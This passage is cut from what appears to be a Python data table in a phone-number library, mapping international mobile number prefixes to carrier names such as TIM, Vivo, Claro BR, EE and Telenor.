'TIM'}, '552298114':{'en': 'TIM'}, '552298115':{'en': 'TIM'}, '552298116':{'en': 'TIM'}, '552298117':{'en': 'TIM'}, '552298111':{'en': 'TIM'}, '447399':{'en': 'EE'}, '447398':{'en': 'EE'}, '1671848':{'en': 'i CAN_GSM'}, '447424':{'en': 'Lycamobile'}, '447395':{'en': 'O2'}, '447394':{'en': 'O2'}, '447421':{'en': 'Orange'}, '447420':{'en': 'Orange'}, '447423':{'en': 'Vodafone'}, '447422':{'en': 'Orange'}, '1242577':{'en': 'BaTelCo'}, '45711':{'en': 'CBB Mobil'}, '55389993':{'en': 'Telemig Celular'}, '552799245':{'en': 'Claro BR'}, '3468883':{'en': 'Sarenet'}, '12844689':{'en': 'CCT'}, '55389995':{'en': 'Telemig Celular'}, '474638':{'en': 'Telenor'}, '474639':{'en': 'Telenor'}, '474636':{'en': 'Telenor'}, '474637':{'en': 'Telenor'}, '474634':{'en': 'Telenor'}, '474635':{'en': 'Telenor'}, '552198403':{'en': 'Oi'}, '552198402':{'en': 'Oi'}, '552198401':{'en': 'Oi'}, '552198407':{'en': 'Oi'}, '552198406':{'en': 'Oi'}, '552198405':{'en': 'Oi'}, '552198404':{'en': 'Oi'}, '552198409':{'en': 'Oi'}, '552198408':{'en': 'Oi'}, '51419419':{'en': 'Movistar'}, '552799249':{'en': 'Claro BR'}, '1939630':{'en': 'CENTENNIAL'}, '23250':{'en': 'Datatel/Cellcom'}, '23255':{'en': 'AFCOM'}, '549352':{'en': 'Personal'}, '549353':{'en': 'Personal'}, '1939639':{'en': 'CENTENNIAL'}, '549356':{'en': 'Personal'}, '549357':{'en': 'Personal'}, '549354':{'en': 'Personal'}, '552299247':{'en': 'Claro BR'}, '552299246':{'en': 'Claro BR'}, '552299245':{'en': 'Claro BR'}, '552299244':{'en': 'Claro BR'}, '552299243':{'en': 'Claro BR'}, '552299242':{'en': 'Claro BR'}, '552299241':{'en': 'Claro BR'}, '552299249':{'en': 'Claro BR'}, '552299248':{'en': 'Claro BR'}, '24384':{'en': 'CCT'}, '447436':{'en': 'Vodafone'}, '554598827':{'en': 'Claro BR'}, '554598826':{'en': 'Claro BR'}, '5541988':{'en': 'Claro BR'}, '554598823':{'en': 'Claro BR'}, '515295271':{'en': 'Claro'}, '2346582':{'en': 'Starcomms'}, '2346581':{'en': 'Starcomms'}, '2346580':{'en': 'Starcomms'}, '551898142':{'en': 'TIM'}, '554199804':{'en': 'TIM'}, '554199802':{'en': 'TIM'}, '554199803':{'en': 'TIM'}, '554199800':{'en': 'TIM'}, '551898143':{'en': 'TIM'}, '551898141':{'en': 'TIM'}, '55139920':{'en': 'Claro BR'}, '551898147':{'en': 'TIM'}, '230528':{'en': 'MTML'}, '45202':{'en': 'TDC'}, '552799268':{'en': 'Claro BR'}, '552799269':{'en': 'Claro BR'}, '552799266':{'en': 'Claro BR'}, '552799267':{'en': 'Claro BR'}, '552799264':{'en': 'Claro BR'}, '551898145':{'en': 'TIM'}, '552799262':{'en': 'Claro BR'}, '552799263':{'en': 'Claro BR'}, '552799261':{'en': 'Claro BR'}, '55449880':{'en': 'Claro BR'}, '551898149':{'en': 'TIM'}, '24388':{'en': 'Yozma Timeturns sprl -YTT'}, '551196650':{'en': 'Claro BR'}, '55119685':{'en': 'Vivo'}, '55119684':{'en': 'Vivo'}, '436779':{'en': 'T-Mobile AT'}, '423651':{'en': 'Cubic'}, '423652':{'en': 'Cubic'}, '436771':{'en': 'T-Mobile AT'}, '436770':{'en': 'T-Mobile AT'}, '436772':{'en': 'T-Mobile AT'}, '4476240':{'en': 'Manx Telecom'}, '4476241':{'en': 'Manx Telecom'}, '4476242':{'en': 'Sure'}, '45412':{'en': 'Telenor'}, '4476244':{'en': 'Manx Telecom'}, '45414':{'en': 'Telenor'}, '45417':{'en': 'Telenor'}, '45416':{'en': 'Telenor'}, '4476248':{'en': 'Manx Telecom'}, '4476249':{'en': 'Manx Telecom'}, '346944':{'en': 'MasMovil'}, '1242375':{'en': 'BaTelCo'}, '1242376':{'en': 'BaTelCo'}, '551599151':{'en': 'Claro BR'}, '554399113':{'en': 'Vivo'}, '551599153':{'en': 'Claro BR'}, '551599152':{'en': 'Claro BR'}, '551599155':{'en': 'Claro BR'}, '551599154':{'en': 'Claro BR'}, '551599157':{'en': 'Claro BR'}, '551599156':{'en': 'Claro BR'}, '551599159':{'en': 'Claro BR'}, '551599158':{'en': 'Claro BR'}, '554399118':{'en': 'Vivo'}, '554399119':{'en': 'Vivo'}, '551899759':{'en': 'Vivo'}, '1758584':{'en': 'Cable & Wireless'}, '552798131':{'en': 'TIM'}, '552798133':{'en': 'TIM'}, '552798132':{'en': 'TIM'}, '552798135':{'en': 'TIM'}, '552798134':{'en': 'TIM'}, '552798137':{'en': 'TIM'}, '552798136':{'en': 'TIM'}, '552798139':{'en': 'TIM'}, '552798138':{'en': 'TIM'}, '554599911':{'en': 'TIM'}, '551899756':{'en': 'Vivo'}, '551899757':{'en': 'Vivo'}, '459189':{'en': 'Uni-tel'}, '55219735':{'en': 'Claro BR'}, '551899767':{'en': 'Vivo'}, '455189':{'en': 'Telia'}, '455188':{'en': 'Telia'}, '30685555':{'en': 'Cyta'}, '30685550':{'en': 'Cyta'}, '554898424':{'en': 'Brasil Telecom GSM'}, '554898425':{'en': 'Brasil Telecom GSM'}, '554898426':{'en': 'Brasil Telecom GSM'}, '554898427':{'en': 'Brasil Telecom GSM'}, '554898421':{'en': 'Brasil Telecom GSM'}, '554898422':{'en': 'Brasil Telecom GSM'}, '554898423':{'en': 'Brasil Telecom GSM'}, '554898428':{'en': 'Brasil Telecom GSM'}, '554898429':{'en': 'Brasil Telecom GSM'}, '553599163':{'en': 'TIM'}, '2343962':{'en': 'Starcomms'}, '553599161':{'en': 'TIM'}, '346230':{'en': 'Yoigo'}, '346231':{'en': 'Yoigo'}, '553599166':{'en': 'TIM'}, '551498138':{'en': 'TIM'}, '553599167':{'en': 'TIM'}, '553599164':{'en': 'TIM'}, '29756':{'en': 'SETAR'}, '29759':{'en': 'SETAR'}, '551498131':{'en': 'TIM'}, '346927':{'en': 'Carrefour'}, '554799934':{'en': 'TIM'}, '551299631':{'en': 'Vivo'}, '554799936':{'en': 'TIM'}, '554799937':{'en': 'TIM'}, '554799931':{'en': 'TIM'}, '554799932':{'en': 'TIM'}, '551299630':{'en': 'Vivo'}, '554799938':{'en': 'TIM'}, '554799939':{'en': 'TIM'}, '25884':{'en': 'Vodacom'}, '25885':{'en': 'Vodacom'}, '25886':{'en': 'Movitel'}, '25887':{'en': 'Movitel'}, '25882':{'en': 'mcel'}, '25883':{'en': 'mcel'}, '4474408':{'en': 'Telecoms Cloud'}, '4474409':{'en': 'Cloud9'}, '1242359':{'en': 'BaTelCo'}, '518497438':{'en': 'Claro'}, '518497439':{'en': 'Claro'}, '518497436':{'en': 'Claro'}, '518497437':{'en': 'Claro'}, '518497435':{'en': 'Claro'}, '518497430':{'en': 'Claro'}, '518497431':{'en': 'Claro'}, '554199121':{'en': 'Vivo'}, '554399138':{'en': 'Vivo'}, '554199123':{'en': 'Vivo'}, '554199122':{'en': 'Vivo'}, '554199125':{'en': 'Vivo'}, '554199124':{'en': 'Vivo'}, '554199127':{'en': 'Vivo'}, '554199126':{'en': 'Vivo'}, '554199129':{'en': 'Vivo'}, '554199128':{'en': 'Vivo'}, '3460529':{'en': 'MasMovil'}, '551196184':{'en': 'Vivo'}, '554399132':{'en': 'Vivo'}, '552198368':{'en': 'TIM'}, '552198369':{'en': 'TIM'}, '552198362':{'en': 'TIM'}, '552198363':{'en': 'TIM'}, '552198361':{'en': 'TIM'}, '552198366':{'en': 'TIM'}, '552198367':{'en': 'TIM'}, '552198364':{'en': 'TIM'}, '552198365':{'en': 'TIM'}, '1787622':{'en': 'CENTENNIAL'}, '1787623':{'en': 'CENTENNIAL'}, '1787620':{'en': 'CENTENNIAL'}, '1787621':{'en': 'CENTENNIAL'}, '1787626':{'en': 'CENTENNIAL'}, '553199394':{'en': 'TIM'}, '1787624':{'en': 'CENTENNIAL'}, '1787625':{'en': 'CENTENNIAL'}, '553199399':{'en': 'TIM'}, '553199398':{'en': 'TIM'}, '1787628':{'en': 'CENTENNIAL'}, '1787629':{'en': 'SunCom Wireless Puerto Rico'}, '50688':{'en': 'Kolbi ICE'}, '50689':{'en': 'Kolbi ICE'}, '4475205':{'en': 'Esendex'}, '4475204':{'en': 'Core Communication'}, '4475207':{'en': 'aql'}, '4475206':{'en': 'Tismi'}, '4475201':{'en': 'BT OnePhone'}, '4475200':{'en': 'Simwood'}, '554599976':{'en': 'TIM'}, '4475202':{'en': 'Vectone Mobile'}, '4477530':{'en': 'Airwave'}, '551599174':{'en': 'Claro BR'}, '553199201':{'en': 'TIM'}, '553499807':{'en': 'Telemig Celular'}, '3465829':{'en': 'DIA'}, '35677':{'en': 'Melita Mobile'}, '35672':{'en': 'GO Mobile'}, '554399611':{'en': 'TIM'}, '554399610':{'en': 'TIM'}, '35679':{'en': 'GO Mobile'}, '370695':{'en': 'Omnitel'}, '370694':{'en': 'Omnitel'}, '370697':{'en': 'Omnitel'}, '370696':{'en': 'Omnitel'}, '370690':{'en': u('BIT\u0116')}, '370693':{'en': 'Omnitel'}, '370692':{'en': 'Omnitel'}, '486666':{'en': 'Play'}, '370699':{'en': u('BIT\u0116')}, '370698':{'en': 'Omnitel'}, '553499925':{'en': 'Telemig Celular'}, '553499924':{'en': 'Telemig Celular'}, '553499927':{'en': 'Telemig Celular'}, '553499926':{'en': 'Telemig Celular'}, '553499921':{'en': 'Telemig Celular'}, '553499923':{'en': 'Telemig Celular'}, '553499922':{'en': 'Telemig Celular'}, '551599178':{'en': 'Claro BR'}, '553499929':{'en': 'Telemig Celular'}, '553499928':{'en': 'Telemig Celular'}, '554598811':{'en': 'Claro BR'}, '551899749':{'en': 'Vivo'}, '551899748':{'en': 'Vivo'}, '551899743':{'en': 'Vivo'}, '50249':{'en': 'Tigo'}, '551899741':{'en': 'Vivo'}, '551899747':{'en': 'Vivo'}, '551899746':{'en': 'Vivo'}, '551899745':{'en': 'Vivo'}, '551899744':{'en': 'Vivo'}, '553599179':{'en': 'TIM'}, '553599178':{'en': 'TIM'}, '124247':{'en': 'BaTelCo'}, '553599171':{'en': 'TIM'}, '553599173':{'en': 'TIM'}, '553599172':{'en': 'TIM'}, '553599175':{'en': 'TIM'}, '553599174':{'en': 'TIM'}, '553599177':{'en': 'TIM'}, '553599176':{'en': 'TIM'}, '2626395':{'en': 'BJT'}, '2626394':{'en': 'SFR'}, '25578':{'en': 'Airtel'}, '25579':{'en': 'Benson Informatics'}, '25574':{'en': 'Vodacom'}, '25575':{'en': 'Vodacom'}, '25576':{'en': 'Vodacom'}, '25577':{'en': 'Zantel'}, '25571':{'en': 'tiGO'}, '25573':{'en': 'Tanzania Telecom'}, '554599978':{'en': 'TIM'}, '1939329':{'en': 'CENTENNIAL'}, '1939325':{'en': 'SunCom Wireless Puerto Rico'}, '552798114':{'en': 'TIM'}, '458111':{'en': 'Evercall'}, '458110':{'en': 'ipvision'}, '554599979':{'en': 'TIM'}, '4473699':{'en': 'Anywhere Sim'}, '187645':{'en': 'Digicel'}, '554198431':{'en': 'Brasil Telecom GSM'}, '554198434':{'en': 'Brasil Telecom GSM'}, '554198435':{'en': 'Brasil Telecom GSM'}, '554198436':{'en': 'Brasil Telecom GSM'}, '554198437':{'en': 'Brasil Telecom GSM'}, '551799773':{'en': 'Vivo'}, '551799772':{'en': 'Vivo'}, '551799771':{'en': 'Vivo'}, '551799777':{'en': 'Vivo'}, '551799776':{'en': 'Vivo'}, '551799775':{'en': 'Vivo'}, '551799774':{'en': 'Vivo'}, '30695400':{'en': 'AMD Telecom'}, '551799779':{'en': 'Vivo'}, '551799778':{'en': 'Vivo'}, '50243':{'en': 'Movistar'}, '1787367':{'en': 'SunCom Wireless Puerto Rico'}, '553199948':{'en': 'Telemig Celular'}, '553199949':{'en': 'Telemig Celular'}, '553199944':{'en': 'Telemig Celular'}, '553199945':{'en': 'Telemig Celular'}, '553199946':{'en': 'Telemig Celular'}, '553199947':{'en': 'Telemig Celular'}, '553199941':{'en': 'Telemig Celular'}, '1787369':{'en': 'CENTENNIAL'}, '1787368':{'en': 'SunCom Wireless Puerto Rico'}, '554499157':{'en': 'Vivo'}, '554499156':{'en': 'Vivo'}, '554499155':{'en': 'Vivo'}, '554499154':{'en': 'Vivo'}, '554499153':{'en': 'Vivo'}, '554499152':{'en': 'Vivo'}, '554499151':{'en': 'Vivo'}, '552899921':{'en': 'Vivo'}, '552899922':{'en': 'Vivo'}, '187640':{'en': 'Digicel'}, '552899924':{'en': 'Vivo'}, '552899925':{'en': 'Vivo'}, '552899926':{'en': 'Vivo'}, '554499158':{'en': 'Vivo'}, '551499129':{'en': 'Claro BR'}, '551499128':{'en': 'Claro BR'}, '551499123':{'en': 'Claro BR'}, '551499122':{'en': 'Claro BR'}, '551499121':{'en': 'Claro BR'}, '551499127':{'en': 'Claro BR'}, '551499126':{'en': 'Claro BR'}, '551499125':{'en': 'Claro BR'}, '551499124':{'en': 'Claro BR'}, '51569569':{'en': 'Movistar'}, '51569568':{'en': 'Movistar'}, '51569563':{'en': 'Claro'}, '51569560':{'en': 'Movistar'}, '51569567':{'en': 'Claro'}, '51569566':{'en': 'Movistar'}, '51569565':{'en': 'Movistar'}, '51569564':{'en': 'Movistar'}, '447407':{'en': 'Vodafone'}, '553898426':{'en': 'Claro BR'}, '447405':{'en': 'Lycamobile'}, '447404':{'en': 'Lycamobile'}, '447403':{'en': 'Three'}, '447402':{'en': 'Three'}, '447401':{'en': 'Three'}, '447400':{'en': 'Three'}, '447409':{'en': 'Orange'}, '553898428':{'en': 'Claro BR'}, '1671868':{'en': 'Choice Phone'}, '5512997':{'en': 'Vivo'}, '1671864':{'en': 'GTA'}, '551999696':{'en': 'Vivo'}, '553199168':{'en': 'TIM'}, '553199311':{'en': 'TIM'}, '553199313':{'en': 'TIM'}, '447661':{'en': 'PageOne'}, '447660':{'en': 'PageOne'}, '553199169':{'en': 'TIM'}, '447666':{'en': 'Vodafone'}, '551499168':{'en': 'Claro BR'}, '50850':{'en': 'Keyyo'}, '50855':{'en': 'SPM Telecom'}, '553199317':{'en': 'TIM'}, '549113':{'en': 'Personal'}, '549114':{'en': 'Personal'}, '549115':{'en': 'Personal'}, '549116':{'en': 'Personal'}, '2345487':{'en': 'Starcomms'}, '2345486':{'en': 'Starcomms'}, '2345485':{'en': 'Starcomms'}, '2345484':{'en': 'Starcomms'}, '2345483':{'en': 'Starcomms'}, '2345482':{'en': 'Starcomms'}, '516696600':{'en': 'Movistar'}, '2345480':{'en': 'Starcomms'}, '551999695':{'en': 'Vivo'}, '549374':{'en': 'Personal'}, '549375':{'en': 'Personal'}, '549376':{'en': 'Personal'}, '549377':{'en': 'Personal'}, '549370':{'en': 'Personal'}, '549371':{'en': 'Personal'}, '549372':{'en': 'Personal'}, '549373':{'en': 'Personal'}, '549378':{'en': 'Personal'}, '549379':{'en': 'Personal'}, '2343881':{'en': 'Starcomms'}, '2343880':{'en': 'Starcomms'}, '2343883':{'en': 'Starcomms'}, '2343882':{'en': 'Starcomms'}, '2343885':{'en': 'Starcomms'}, '2343884':{'en': 'Starcomms'}, '2343887':{'en': 'Starcomms'}, '2343886':{'en': 'Starcomms'}, '23231':{'en': 'QCELL'}, '23230':{'en': 'Africell'}, '23233':{'en': 'Comium'}, '552299226':{'en': 'Claro BR'}, '23235':{'en': 'IPTEL'}, '23234':{'en': 'QCELL'}, '552299223':{'en': 'Claro BR'}, '552299222':{'en': 'Claro BR'}, '553799154':{'en': 'TIM'}, '554699122':{'en': 'Vivo'}, '50254':{'en': 'Telgua'}, '553199165':{'en': 'TIM'}, '50257':{'en': 'Tigo'}, '5513997':{'en': 'Vivo'}, '50256':{'en': 'Movistar'}, '5513991':{'en': 'Claro BR'}, '515295253':{'en': 'Movistar'}, '515295252':{'en': 'Movistar'}, '515295251':{'en': 'Movistar'}, '515295250':{'en': 'Movistar'}, '515295254':{'en': 'Movistar'}, '553199162':{'en': 'TIM'}, '30691400':{'en': 'AMD Telecom'}, '552799244':{'en': 'Claro BR'}, '551799764':{'en': 'Vivo'}, '552799246':{'en': 'Claro BR'}, '552799247':{'en': 'Claro BR'}, '552799241':{'en': 'Claro BR'}, '552799242':{'en': 'Claro BR'}, '552799243':{'en': 'Claro BR'}, '552799248':{'en': 'Claro BR'}, '551799766':{'en': 'Vivo'}, '551799767':{'en': 'Vivo'}, '554799922':{'en': 'TIM'}, '551799763':{'en': 'Vivo'}, '354757':{'en': 'Vodafone'}, '354755':{'en': u('S\u00edminn')}, '354750':{'en': u('S\u00edminn')}, '551798142':{'en': 'TIM'}, '372590':{'en': 'EMT'}, '21642':{'en': 'Tunisie Telecom'}, '21643':{'en': 'Lyca Mobile'}, '21640':{'en': 'Tunisie Telecom'}, '21641':{'en': 'Tunisie Telecom'}, '21646':{'en': 'Ooredoo'}, '21644':{'en': 'Tunisie Telecom'}, '21645':{'en': 'Watany Ettisalat'}, '551799768':{'en': 'Vivo'}, '551799769':{'en': 'Vivo'}, '1242357':{'en': 'BaTelCo'}, '24105':{'en': 'Moov'}, '551196183':{'en': 'Vivo'}, '551196182':{'en': 'Vivo'}, '551196181':{'en': 'Claro BR'}, '551196180':{'en': 'Claro BR'}, '551196187':{'en': 'Vivo'}, '551196186':{'en': 'Vivo'}, '551196185':{'en': 'Vivo'}, '1787375':{'en': 'Claro'}, '554399131':{'en': 'Vivo'}, '551196189':{'en': 'Vivo'}, '551196188':{'en': 'Vivo'}, '554399134':{'en': 'Vivo'}, '1787551':{'en': 'CENTENNIAL'}, '554399136':{'en': 'Vivo'}, '1787553':{'en': 'Claro'}, '551599177':{'en': 'Claro BR'}, '551599176':{'en': 'Claro BR'}, '447988':{'en': 'Three'}, '447989':{'en': 'Orange'}, '551599173':{'en': 'Claro BR'}, '551599172':{'en': 'Claro BR'}, '551599171':{'en': 'Claro BR'}, '447980':{'en': 'Orange'}, '551599179':{'en': 'Claro BR'}, '45612':{'en': 'TDC'}, '553199272':{'en': 'TIM'}, '5066':{'en': 'Movistar'}, '45611':{'en': 'TDC'}, '553199273':{'en': 'TIM'}, '2347029':{'en': 'Starcomms'}, '552798117':{'en': 'TIM'}, '552798116':{'en': 'TIM'}, '552798115':{'en': 'TIM'}, '2347028':{'en': 'Starcomms'}, '552798113':{'en': 'TIM'}, '552798112':{'en': 'TIM'}, '552798111':{'en': 'TIM'}, '553199276':{'en': 'TIM'}, '474055':{'en': 'NetCom'}, '552798119':{'en': 'TIM'}, '552798118':{'en': 'TIM'}, '553199274':{'en': 'TIM'}, '2348422':{'en': 'Starcomms'}, '2348421':{'en': 'Starcomms'}, '45619':{'en': 'Telenor'}, '346037':{'en': 'Vodafone'}, '553199278':{'en': 'TIM'}, '511990':{'en': 'Movistar'}, '553199279':{'en': 'TIM'}, '457198':{'en': 'Mundio Mobile'}, '554799924':{'en': 'TIM'}, '1787908':{'en': 'CENTENNIAL'}, '554498413':{'en': 'Brasil Telecom GSM'}, '2347026':{'en': 'Visafone'}, '553798406':{'en': 'Claro BR'}, '48669':{'en': 'Plus'}, '48668':{'en': 'T-Mobile'}, '551299632':{'en': 'Vivo'}, '48665':{'en': 'Plus'}, '48664':{'en': 'T-Mobile'}, '48667':{'en': 'Plus'}, '48661':{'en': 'Plus'}, '48660':{'en': 'T-Mobile'}, '48663':{'en': 'Plus'}, '48662':{'en': 'T-Mobile'}, '551798149':{'en': 'TIM'}, '551798148':{'en': 'TIM'}, '551798143':{'en': 'TIM'}, '551196860':{'en': 'Vivo'}, '551798141':{'en': 'TIM'}, '551798147':{'en': 'TIM'}, '551798146':{'en': 'TIM'}, '551798145':{'en': 'TIM'}, '551798144':{'en': 'TIM'}, '552899955':{'en': 'Vivo'}, '551196862':{'en': 'Vivo'}, '44748':{'en': 'EE'}, '44749':{'en': 'EE'}, '44746':{'en': 'Three'}, '44747':{'en': 'Three'}, '44745':{'en': 'Three'}, '44742':{'en': 'Three'}, '554498411':{'en': 'Brasil Telecom GSM'}, '346212':{'en': 'Ion mobile'}, '552899956':{'en': 'Vivo'}, '554498415':{'en': 'Brasil Telecom GSM'}, '554498414':{'en': 'Brasil Telecom GSM'}, '554498417':{'en': 'Brasil Telecom GSM'}, '554498416':{'en': 'Brasil Telecom GSM'}, '554498419':{'en': 'Brasil Telecom GSM'}, '552899951':{'en': 'Vivo'}, '553499209':{'en': 'TIM'}, '552899953':{'en': 'Vivo'}, '2348288':{'en': 'Starcomms'}, '2348286':{'en': 'Starcomms'}, '2348287':{'en': 'Starcomms'}, '2348284':{'en': 'Starcomms'}, '2348285':{'en': 'Starcomms'}, '2348283':{'en': 'Starcomms'}, '2356':{'en': 'Airtel'}, '2357':{'en': 'Sotel'}, '3584546':{'en': 'NextGen Mobile / CardBoardFish'}, '3584547':{'en': 'SMS Provider Corp'}, '3584544':{'en': 'Nokia'}, '3584545':{'en': 'Interactive Digital Media'}, '3584542':{'en': 'Nokia'}, '3584543':{'en': 'Nokia'}, '3584540':{'en': 'MobiWeb'}, '3584541':{'en': 'AinaCom'}, '3584548':{'en': 'Voxbone'}, '3584549':{'en': 'Beepsend'}, '479210':{'en': 'NetCom'}, '554798433':{'en': 'Brasil Telecom GSM'}, '407020':{'en': 'Lycamobile'}, '554798431':{'en': 'Brasil Telecom GSM'}, '551799232':{'en': 'Claro BR'}, '551799233':{'en': 'Claro BR'}, '551799230':{'en': 'Claro BR'}, '551799231':{'en': 'Claro BR'}, '551799236':{'en': 'Claro BR'}, '551799234':{'en': 'Claro BR'}, '551799235':{'en': 'Claro BR'}, '554798434':{'en': 'Brasil Telecom GSM'}, '554199159':{'en': 'Vivo'}, '554798435':{'en': 'Brasil Telecom GSM'}, '553199621':{'en': 'Telemig Celular'}, '553199622':{'en': 'Telemig Celular'}, '553199625':{'en': 'Telemig Celular'}, '553199624':{'en': 'Telemig Celular'}, '553199627':{'en': 'Telemig Celular'}, '553199626':{'en': 'Telemig Celular'}, '553199629':{'en': 'Telemig Celular'}, '553199628':{'en': 'Telemig Celular'}, '1784454':{'en': 'Cable & Wireless'}, '1784455':{'en': 'Cable & Wireless'}, '1242437':{'en': 'BaTelCo'}, '1242436':{'en': 'BaTelCo'}, '1242435':{'en': 'BaTelCo'}, '1242434':{'en': 'BaTelCo'}, '1242433':{'en': 'BaTelCo'}, '1242432':{'en': 'BaTelCo'}, '1242431':{'en': 'BaTelCo'}, '1242439':{'en': 'BaTelCo'}, '1242438':{'en': 'BaTelCo'}, '552198341':{'en': 'TIM'}, '552198342':{'en': 'TIM'}, '552198343':{'en': 'TIM'}, '552198344':{'en': 'TIM'}, '552198345':{'en': 'TIM'}, '552198346':{'en': 'TIM'}, '552198347':{'en': 'TIM'}, '552198348':{'en': 'TIM'}, '552198349':{'en': 'TIM'}, '22350':{'en': 'Atel'}, '551998206':{'en': 'TIM'}, '551998207':{'en': 'TIM'}, '551998204':{'en': 'TIM'}, '551998205':{'en': 'TIM'}, '551998202':{'en': 'TIM'}, '551998203':{'en': 'TIM'}, '551998201':{'en': 'TIM'}, '551998208':{'en': 'TIM'}, '551998209':{'en': 'TIM'}, '4477553':{'en': 'Core Communication'}, '4477552':{'en': 'Core Communication'}, '4477555':{'en': 'Core Communication'}, '4477554':{'en': 'Core Communication'}, '4790':{'en': 'Telenor'}, '1939777':{'en': 'Claro'}, '553499909':{'en': 'Telemig Celular'}, '553499908':{'en': 'Telemig Celular'}, '553198245':{'en': 'Claro BR'}, '553499903':{'en': 'Telemig Celular'}, '553499902':{'en': 'Telemig Celular'}, '553499901':{'en': 'Telemig Celular'}, '553499907':{'en': 'Telemig Celular'}, '553499906':{'en': 'Telemig Celular'}, '553499905':{'en': 'Telemig Celular'}, '553499904':{'en': 'Telemig Celular'}, '30692428':{'en': 'Premium Net International'}, '554199262':{'en': 'Vivo'}, '554199261':{'en': 'Vivo'}, '554199266':{'en': 'Vivo'}, '554199264':{'en': 'Vivo'}, '554199265':{'en': 'Vivo'}, '553599159':{'en': 'TIM'}, '553599158':{'en': 'TIM'}, '553599157':{'en': 'TIM'}, '553599156':{'en': 'TIM'}, '553599155':{'en': 'TIM'}, '553599154':{'en': 'TIM'}, '553599153':{'en': 'TIM'}, '553599152':{'en': 'TIM'}, '553599151':{'en': 'TIM'}, '1939307':{'en': 'CENTENNIAL'}, '551197979':{'en': 'Oi'}, '551197978':{'en': 'Oi'}, '551197975':{'en': 'Oi'}, '454280':{'en': 'BiBoB'}, '454283':{'en': '3'}, '454282':{'en': 'Telia'}, '551197971':{'en': 'Oi'}, '551197970':{'en': 'Claro BR'}, '551197973':{'en': 'Oi'}, '454286':{'en': 'Telia'}, '458136':{'en': 'CBB Mobil'}, '458135':{'en': 'CBB Mobil'}, '458134':{'en': 'CBB Mobil'}, '458133':{'en': 'CBB Mobil'}, '458132':{'en': 'CBB Mobil'}, '458131':{'en': 'CBB Mobil'}, '458130':{'en': 'CBB Mobil'}, '553399116':{'en': 'TIM'}, '554699939':{'en': 'TIM'}, '458139':{'en': 'Mundio Mobile'}, '458138':{'en': 'Mundio Mobile'}, '553399119':{'en': 'TIM'}, '553399118':{'en': 'TIM'}, '2778':{'en': 'MTN'}, '2779':{'en': 'Vodacom'}, '2771':{'en': 'Vodacom'}, '2772':{'en': 'Vodacom'}, '2773':{'en': 'MTN'}, '2774':{'en': 'Cell C'}, '2776':{'en': 'Vodacom'}, '552499296':{'en': 'Claro BR'}, '552499295':{'en': 'Claro BR'}, '552499292':{'en': 'Claro BR'}, '552499291':{'en': 'Claro BR'}, '1671747':{'en': 'PTI PACIFICA'}, '346027':{'en': 'Lebara'}, '346026':{'en': 'Lebara'}, '346025':{'en': 'Lebara'}, '346024':{'en': 'Lebara'}, '346023':{'en': 'Lycamobile'}, '346021':{'en': 'Lycamobile'}, '346020':{'en': 'Lycamobile'}, '346029':{'en': 'DIA'}, '346028':{'en': 'Lycamobile'}, '1787341':{'en': 'SunCom Wireless Puerto Rico'}, '45601':{'en': 'Telia'}, '45602':{'en': 'Telia'}, '45603':{'en': 'Telia'}, '45604':{'en': 'Telia'}, '1787344':{'en': 'SunCom Wireless Puerto Rico'}, '45606':{'en': 'CBB Mobil'}, '45607':{'en': 'CBB Mobil'}, '45608':{'en': 'CBB Mobil'}, '552498114':{'en': 'TIM'}, '552899946':{'en': 'Vivo'}, '552899945':{'en': 'Vivo'}, '51449492':{'en': 'Claro'}, '51449493':{'en': 'Claro'}, '51449491':{'en': 'Claro'}, '487278':{'en': 'Plus'}, '487279':{'en': 'Plus'}, '51449494':{'en': 'Movistar'}, '487274':{'en': 'Plus'}, '487275':{'en': 'Plus'}, '487276':{'en': 'Plus'}, '487277':{'en': 'Plus'}, '487270':{'en': 'Plus'}, '487272':{'en': 'T-Mobile'}, '487273':{'en': 'T-Mobile'}, '447461':{'en': 'O2'}, '447464':{'en': 'Vodafone'}, '447467':{'en': 'Vodafone'}, '447466':{'en': 'Lycamobile'}, '447469':{'en': 'Vodafone'}, '447468':{'en': 'Vodafone'}, '554599981':{'en': 'TIM'}, '554599984':{'en': 'TIM'}, '26269300':{'en': 'Orange'}, '26269301':{'en': 'SFR'}, '26269302':{'en': 'SFR'}, '26269303':{'en': 'SFR'}, '26269304':{'en': 'SFR'}, '26269306':{'en': 'Orange'}, '554699921':{'en': 'TIM'}, '554699922':{'en': 'TIM'}, '554699923':{'en': 'TIM'}, '554499139':{'en': 'Vivo'}, '554499138':{'en': 'Vivo'}, '554499135':{'en': 'Vivo'}, '554499134':{'en': 'Vivo'}, '554499137':{'en': 'Vivo'}, '554499136':{'en': 'Vivo'}, '554499131':{'en': 'Vivo'}, '30690300':{'en': 'MI Carrier Services'}, '554499133':{'en': 'Vivo'}, '554499132':{'en': 'Vivo'}, '553899172':{'en': 'TIM'}, '474673':{'en': 'NetCom'}, '474670':{'en': 'NetCom'}, '552499301':{'en': 'Claro BR'}, '474674':{'en': 'NetCom'}, '474675':{'en': 'NetCom'}, '553199167':{'en': 'TIM'}, '1876443':{'en': 'Digicel'}, '352698':{'en': 'Tango'}, '1876441':{'en': 'Digicel'}, '507111':{'en': 'Digicel'}, '1876447':{'en': 'Digicel'}, '1876446':{'en': 'Digicel'}, '1876445':{'en': 'Digicel'}, '352691':{'en': 'Tango'}, '502478':{'en': 'Tigo'}, '1876448':{'en': 'Digicel'}, '552299203':{'en': 'Claro BR'}, '552299202':{'en': 'Claro BR'}, '552299201':{'en': 'Claro BR'}, '552299207':{'en': 'Claro BR'}, '552299206':{'en': 'Claro BR'}, '552299205':{'en': 'Claro BR'}, '552299204':{'en': 'Claro BR'}, '552299209':{'en': 'Claro BR'}, '552299208':{'en': 'Claro BR'}, '4478391':{'en': 'Airtel'}, '4478392':{'en': 'Airtel'}, '4478397':{'en': 'Airtel'}, '4478398':{'en': 'Sure'}, '50781':{'en': 'Mobilphone'}, '551699363':{'en': 'Claro BR'}, '551699362':{'en': 'Claro BR'}, '551699361':{'en': 'Claro BR'}, '551699360':{'en': 'Claro BR'}, '551699364':{'en': 'Claro BR'}, '554298417':{'en': 'Brasil Telecom GSM'}, '30699022':{'en': 'Yuboto'}, '554298415':{'en': 'Brasil Telecom GSM'}, '554298414':{'en': 'Brasil Telecom GSM'}, '554298413':{'en': 'Brasil Telecom GSM'}, '554298412':{'en': 'Brasil Telecom GSM'}, '5524997':{'en': 'Vivo'}, '5524998':{'en': 'Vivo'}, '55139962':{'en': 'Vivo'}, '55139960':{'en': 'Vivo'}, '55139961':{'en': 'Vivo'}, '552299760':{'en': 'Vivo'}, '4479111':{'en': 'JT'}, '553599992':{'en': 'Telemig 